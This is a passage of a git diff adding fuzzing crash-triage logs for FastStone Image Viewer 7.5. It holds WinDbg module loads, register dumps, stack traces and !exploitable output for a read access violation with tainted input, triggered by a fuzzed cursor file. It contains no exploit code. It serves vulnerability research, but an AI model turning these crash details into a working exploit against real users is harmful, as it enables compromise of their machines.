C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(e50.ce0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07e87b10 edx=00003879 esi=ffdd0010 edi=0f6c2fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.726973302933177440000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 7.272811000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.69098e+031 -1123.44 -1.5599e+024 -4.79373e-022 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f68130 07ee5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002fa000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002fa000 b24caa90 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629d 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002fa000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35711/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35711/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..238e1ff Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35711/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35877/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35877/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35877/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35877/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35877/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..8a9619c Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35877/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35877/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35877/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..753f8f4 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35877/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x3C8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x3C8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(3c8.1a38): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00000d2d ecx=07ea7b10 edx=00003879 esi=12768f40 edi=0f6d4fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.14604e+008 -1.06635e-028 -4.15529e+007 -0.000126988 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003d8000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003d8000 a24c799b 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62af 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003d8000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35877/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35877/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..753f8f4 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35877/WindowsDebugEngine_description.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x3C8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x3C8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 